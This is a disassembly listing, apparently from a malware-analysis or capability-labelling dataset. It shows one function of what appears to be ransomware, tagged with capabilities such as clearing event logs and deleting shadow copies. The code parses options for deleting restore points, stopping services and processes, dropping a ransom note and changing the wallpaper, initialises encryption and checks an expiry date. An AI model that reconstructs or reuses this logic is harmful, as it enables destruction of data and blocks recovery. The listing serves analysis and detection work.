Function at 0x140004b4e
Capabilities:
Clear windows event logs
Delete volume shadow copies
Disable automatic windows recovery features
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0xcd8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc70], rcx
mov dword [rbp + 0xc78], edx
mov qword [rbp + 0xc08], 0
mov qword [rbp + 0xc00], 0
mov qword [rbp + 0xbf8], 0
mov dword [rbp + 0xc4c], 0
mov qword [rbp + 0xbf0], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0xbe8], 0
mov dword [rbp + 0xc], 0
mov qword [rbp + 0xbe0], 0
mov qword [rbp + 0xbd8], 0
mov qword [rbp], 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_win32_get_command_line]
call rax
mov qword [rbp + 0xbd0], rax
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0xbc8], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0xc08], rax
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
call sym._vala_array_length
mov dword [rbp + 0xbc4], eax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xbc0], eax
mov dword [rbp + 0xc48], 0
mov dword [rbp + 0xc48], 0
mov dword [rbp + 0xc44], 0
mov dword [rbp + 0xc44], 1
mov dword [rbp + 0xc40], 0
cmp dword [rbp + 0xc44], 0
jne 0x140004c7d
mov eax, dword [rbp + 0xc48]
mov dword [rbp + 0xbbc], eax
mov eax, dword [rbp + 0xbbc]
add eax, 1
mov dword [rbp + 0xc48], eax
mov dword [rbp + 0xc44], 0
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xbb0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xbac], eax
mov eax, dword [rbp + 0xc48]
cmp eax, dword [rbp + 0xbac]
jge 0x140004edb
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xba0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xb9c], eax
mov eax, dword [rbp + 0xc48]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xba0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xb90], rax
mov rax, qword [rbp + 0xb90]
lea rdx, [0x14001b810]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004d1b
mov dword [rbp + 0xc40], 1
jmp 0x140004d81
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xb88], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xb84], eax
mov eax, dword [rbp + 0xc48]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb88]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xb78], rax
mov rax, qword [rbp + 0xb78]
lea rdx, str.__self
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0xc40], eax
cmp dword [rbp + 0xc40], 0
je 0x140004c4f
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xb70], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xb6c], eax
mov eax, dword [rbp + 0xc48]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb70]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xb60], rax
cmp qword [rbp + 0xb60], 0
je 0x140004e9c
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xb40], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xb3c], eax
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xb30], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xb2c], eax
mov eax, dword [rbp + 0xc48]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb30]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0xb18], rax
mov rax, qword [rbp + 0xb40]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov rax, qword [rbp + 0xb40]
mov qword [rax], 0
mov rax, qword [rbp + 0xb40]
mov rdx, qword [rbp + 0xb18]
mov qword [rax], rdx
jmp 0x140004c4f
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xb58], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xb54], eax
mov rax, qword [rbp + 0xb58]
mov rax, qword [rax]
mov qword [rbp + 0xb48], rax
mov rax, qword [rbp + 0xb48]
mov rcx, rax
call sym.program_print_help
jmp 0x140004c4f
nop
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0xb10], rax
mov rax, qword [rbp + 0xb10]
mov qword [rbp + 0xc00], rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0xb08], rax
mov rax, qword [rbp + 0xb08]
mov qword [0x140021030], rax
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xb00], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xafc], eax
mov rax, qword [rbp + 0xb00]
mov rax, qword [rax]
mov qword [rbp + 0xaf0], rax
mov rax, qword [rbp + 0xaf0]
mov rcx, rax
call sym.encryption_Initialize
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xae8], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xae4], eax
mov rax, qword [rbp + 0xae8]
mov rax, qword [rax]
mov qword [rbp + 0xad8], rax
mov rax, qword [rbp + 0xad8]
mov rcx, rax
call sym.program_Initialize
mov qword [rbp + 0xad0], rax
mov rax, qword [rbp + 0xad0]
mov qword [rbp + 0xbf8], rax
mov dword [rbp + 0xc3c], 0
mov dword [rbp + 0xc3c], 0
mov dword [rbp + 0xc38], 0
mov dword [rbp + 0xc38], 1
mov dword [rbp + 0xacc], 0
cmp dword [rbp + 0xc38], 0
jne 0x140004ff7
mov eax, dword [rbp + 0xc3c]
mov dword [rbp + 0xac8], eax
mov eax, dword [rbp + 0xac8]
add eax, 1
mov dword [rbp + 0xc3c], eax
mov dword [rbp + 0xc38], 0
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xac0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xabc], eax
mov eax, dword [rbp + 0xc3c]
cmp eax, dword [rbp + 0xabc]
jge 0x140005efd
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xab0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xaac], eax
mov eax, dword [rbp + 0xc3c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xab0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xaa0], rax
mov rax, qword [rbp + 0xaa0]
mov qword [rbp + 0xa98], rax
cmp qword [rbp + 0xa98], 0
je 0x140005098
mov rax, qword [rbp + 0xa98]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_string]
call rax
jmp 0x14000509d
mov eax, 0
mov dword [rbp + 0xacc], eax
mov eax, dword [0x140021090]
test eax, eax
jne 0x1400050ce
lea rax, [0x14001b81a]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x140021090], eax
mov eax, dword [0x140021090]
jmp 0x1400050d4
mov eax, dword [0x140021090]
cmp eax, dword [rbp + 0xacc]
je 0x140005119
mov eax, dword [0x140021094]
test eax, eax
jne 0x140005107
lea rax, str.__help
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x140021094], eax
mov eax, dword [0x140021094]
jmp 0x14000510d
mov eax, dword [0x140021094]
cmp eax, dword [rbp + 0xacc]
jne 0x1400051d5
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x790], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x78c], eax
mov rax, qword [rbp + 0x790]
mov rax, qword [rax]
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sym.program_print_help
cmp qword [rbp + 0xbf8], 0
je 0x14000517b
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbf8], 0
cmp qword [rbp + 0xc00], 0
je 0x1400051a3
mov rax, qword [rbp + 0xc00]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xc00], 0
mov eax, dword [rbp + 0xbc4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xc08]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xc08], 0
jmp 0x14000818e
mov eax, dword [0x140021098]
test eax, eax
jne 0x140005200
lea rax, [0x14001b824]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x140021098], eax
mov eax, dword [0x140021098]
jmp 0x140005206
mov eax, dword [0x140021098]
cmp eax, dword [rbp + 0xacc]
je 0x14000524b
mov eax, dword [0x14002109c]
test eax, eax
jne 0x140005239
lea rax, str.__directory
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14002109c], eax
mov eax, dword [0x14002109c]
jmp 0x14000523f
mov eax, dword [0x14002109c]
cmp eax, dword [rbp + 0xacc]
jne 0x140005403
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x808], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x804], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x808]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x1400053c3
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov edx, 1
mov rcx, rax
call sym.settings_set_IncludeDirectories
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x7c8], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x7c4], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x7b0], rax
mov edx, 8
mov ecx, 2
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov rdx, qword [rbp + 0x7b0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x79c], 1
mov rdx, qword [rbp + 0x7a0]
mov rax, qword [rbp + 0x7d0]
mov r8d, 1
mov rcx, rax
call sym.settings_set_DirectorySet
mov eax, dword [rbp + 0x79c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x7a0]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x7a0], 0
jmp 0x1400053fd
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x7f0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x7ec], eax
mov rax, qword [rbp + 0x7f0]
mov rax, qword [rax]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x140005ef8
mov eax, dword [0x1400210a0]
test eax, eax
jne 0x14000542e
lea rax, [0x14001b833]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210a0], eax
mov eax, dword [0x1400210a0]
jmp 0x140005434
mov eax, dword [0x1400210a0]
cmp eax, dword [rbp + 0xacc]
je 0x140005479
mov eax, dword [0x1400210a4]
test eax, eax
jne 0x140005467
lea rax, str.__deleteRestorePoints
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210a4], eax
mov eax, dword [0x1400210a4]
jmp 0x14000546d
mov eax, dword [0x1400210a4]
cmp eax, dword [rbp + 0xacc]
jne 0x140005650
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x890], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x88c], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x890]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x880], rax
cmp qword [rbp + 0x880], 0
je 0x140005610
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x860], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x85c], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x860]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x850], rax
mov rax, qword [rbp + 0x850]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140005550
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
mov edx, 1
mov rcx, rax
call sym.settings_set_DeleteSystemRestorePoints
jmp 0x14000564a
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x848], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x844], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x848]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x838], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x1400055d4
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x818]
mov edx, 0
mov rcx, rax
call sym.settings_set_DeleteSystemRestorePoints
jmp 0x14000564a
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x830], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x82c], eax
mov rax, qword [rbp + 0x830]
mov rax, qword [rax]
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
mov rcx, rax
call sym.program_print_help
jmp 0x14000564a
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x878], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x874], eax
mov rax, qword [rbp + 0x878]
mov rax, qword [rax]
mov qword [rbp + 0x868], rax
mov rax, qword [rbp + 0x868]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x140005ef8
mov eax, dword [0x1400210a8]
test eax, eax
jne 0x14000567b
lea rax, [0x14001b858]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210a8], eax
mov eax, dword [0x1400210a8]
jmp 0x140005681
mov eax, dword [0x1400210a8]
cmp eax, dword [rbp + 0xacc]
je 0x1400056c6
mov eax, dword [0x1400210ac]
test eax, eax
jne 0x1400056b4
lea rax, str.__stopServices
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210ac], eax
mov eax, dword [0x1400210ac]
jmp 0x1400056ba
mov eax, dword [0x1400210ac]
cmp eax, dword [rbp + 0xacc]
jne 0x14000589d
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x918], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x914], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x918]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x908], rax
cmp qword [rbp + 0x908], 0
je 0x14000585d
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x8e8], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x8e4], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8e8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x8d8], rax
mov rax, qword [rbp + 0x8d8]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x14000579d
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x898], rax
mov rax, qword [rbp + 0x898]
mov edx, 1
mov rcx, rax
call sym.settings_set_StopServices
jmp 0x140005897
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x8d0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x8cc], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8d0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x8c0], rax
mov rax, qword [rbp + 0x8c0]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140005821
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x8a0], rax
mov rax, qword [rbp + 0x8a0]
mov edx, 0
mov rcx, rax
call sym.settings_set_StopServices
jmp 0x140005897
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x8b8], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x8b4], eax
mov rax, qword [rbp + 0x8b8]
mov rax, qword [rax]
mov qword [rbp + 0x8a8], rax
mov rax, qword [rbp + 0x8a8]
mov rcx, rax
call sym.program_print_help
jmp 0x140005897
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x900], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x8fc], eax
mov rax, qword [rbp + 0x900]
mov rax, qword [rax]
mov qword [rbp + 0x8f0], rax
mov rax, qword [rbp + 0x8f0]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x140005ef8
mov eax, dword [0x1400210b0]
test eax, eax
jne 0x1400058c8
lea rax, [0x14001b86b]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210b0], eax
mov eax, dword [0x1400210b0]
jmp 0x1400058ce
mov eax, dword [0x1400210b0]
cmp eax, dword [rbp + 0xacc]
je 0x140005913
mov eax, dword [0x1400210b4]
test eax, eax
jne 0x140005901
lea rax, str.__stopProcesses
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210b4], eax
mov eax, dword [0x1400210b4]
jmp 0x140005907
mov eax, dword [0x1400210b4]
cmp eax, dword [rbp + 0xacc]
jne 0x140005aea
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x9a0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x99c], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9a0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x990], rax
cmp qword [rbp + 0x990], 0
je 0x140005aaa
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x970], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x96c], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x970]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x960], rax
mov rax, qword [rbp + 0x960]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x1400059ea
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x920], rax
mov rax, qword [rbp + 0x920]
mov edx, 1
mov rcx, rax
call sym.settings_set_StopProcesses
jmp 0x140005ae4
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x958], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x954], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x958]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x948]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140005a6e
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x928], rax
mov rax, qword [rbp + 0x928]
mov edx, 0
mov rcx, rax
call sym.settings_set_StopProcesses
jmp 0x140005ae4
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x940], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x93c], eax
mov rax, qword [rbp + 0x940]
mov rax, qword [rax]
mov qword [rbp + 0x930], rax
mov rax, qword [rbp + 0x930]
mov rcx, rax
call sym.program_print_help
jmp 0x140005ae4
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x988], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x984], eax
mov rax, qword [rbp + 0x988]
mov rax, qword [rax]
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x140005ef8
mov eax, dword [0x1400210b8]
test eax, eax
jne 0x140005b15
lea rax, [0x14001b87f]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210b8], eax
mov eax, dword [0x1400210b8]
jmp 0x140005b1b
mov eax, dword [0x1400210b8]
cmp eax, dword [rbp + 0xacc]
je 0x140005b60
mov eax, dword [0x1400210bc]
test eax, eax
jne 0x140005b4e
lea rax, str.__dropNote
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210bc], eax
mov eax, dword [0x1400210bc]
jmp 0x140005b54
mov eax, dword [0x1400210bc]
cmp eax, dword [rbp + 0xacc]
jne 0x140005d37
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xa28], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xa24], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa28]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xa18], rax
cmp qword [rbp + 0xa18], 0
je 0x140005cf7
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x9f8], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x9f4], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9f8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x9e8], rax
mov rax, qword [rbp + 0x9e8]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140005c37
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x9a8], rax
mov rax, qword [rbp + 0x9a8]
mov edx, 1
mov rcx, rax
call sym.settings_set_DropNoteInSpecificDirectories
jmp 0x140005d31
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x9e0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x9dc], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9e0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x9d0], rax
mov rax, qword [rbp + 0x9d0]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140005cbb
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x9b0], rax
mov rax, qword [rbp + 0x9b0]
mov edx, 0
mov rcx, rax
call sym.settings_set_DropNoteInSpecificDirectories
jmp 0x140005d31
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x9c8], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x9c4], eax
mov rax, qword [rbp + 0x9c8]
mov rax, qword [rax]
mov qword [rbp + 0x9b8], rax
mov rax, qword [rbp + 0x9b8]
mov rcx, rax
call sym.program_print_help
jmp 0x140005d31
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xa10], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xa0c], eax
mov rax, qword [rbp + 0xa10]
mov rax, qword [rax]
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0xa00]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x140005ef8
mov eax, dword [0x1400210c0]
test eax, eax
jne 0x140005d62
lea rax, [0x14001b88e]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210c0], eax
mov eax, dword [0x1400210c0]
jmp 0x140005d68
mov eax, dword [0x1400210c0]
cmp eax, dword [rbp + 0xacc]
je 0x140005dad
mov eax, dword [0x1400210c4]
test eax, eax
jne 0x140005d9b
lea rax, str.__changeWallpaper
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x1400210c4], eax
mov eax, dword [0x1400210c4]
jmp 0x140005da1
mov eax, dword [0x1400210c4]
cmp eax, dword [rbp + 0xacc]
jne 0x140004fc9
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xa90], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xa8c], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa90]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xa80], rax
cmp qword [rbp + 0xa80], 0
je 0x140005ebd
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xa60], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xa5c], eax
mov eax, dword [rbp + 0xc3c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa60]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xa50], rax
mov rax, qword [rbp + 0xa50]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140005e81
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0xa30], rax
mov rax, qword [rbp + 0xa30]
mov edx, 0
mov rcx, rax
call sym.settings_set_ChangeWallpaper
jmp 0x140005ef7
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xa48], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xa44], eax
mov rax, qword [rbp + 0xa48]
mov rax, qword [rax]
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov rcx, rax
call sym.program_print_help
jmp 0x140005ef7
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xa78], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0xa74], eax
mov rax, qword [rbp + 0xa78]
mov rax, qword [rax]
mov qword [rbp + 0xa68], rax
mov rax, qword [rbp + 0xa68]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x140004fc9
nop
mov rax, qword [rbp + 0xc00]
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sym.settings_get_MinDate
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x778]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x760], rax
jle 0x140005f66
mov dword [rbp + 0xc4c], 1
jmp 0x140005fcc
mov rax, qword [rbp + 0xc00]
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sym.settings_get_MaxDate
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x758]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x740], rax
setl al
movzx eax, al
mov dword [rbp + 0xc4c], eax
cmp dword [rbp + 0xc4c], 0
je 0x14000608d
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0xf8]
lea r8, str.Expired._n
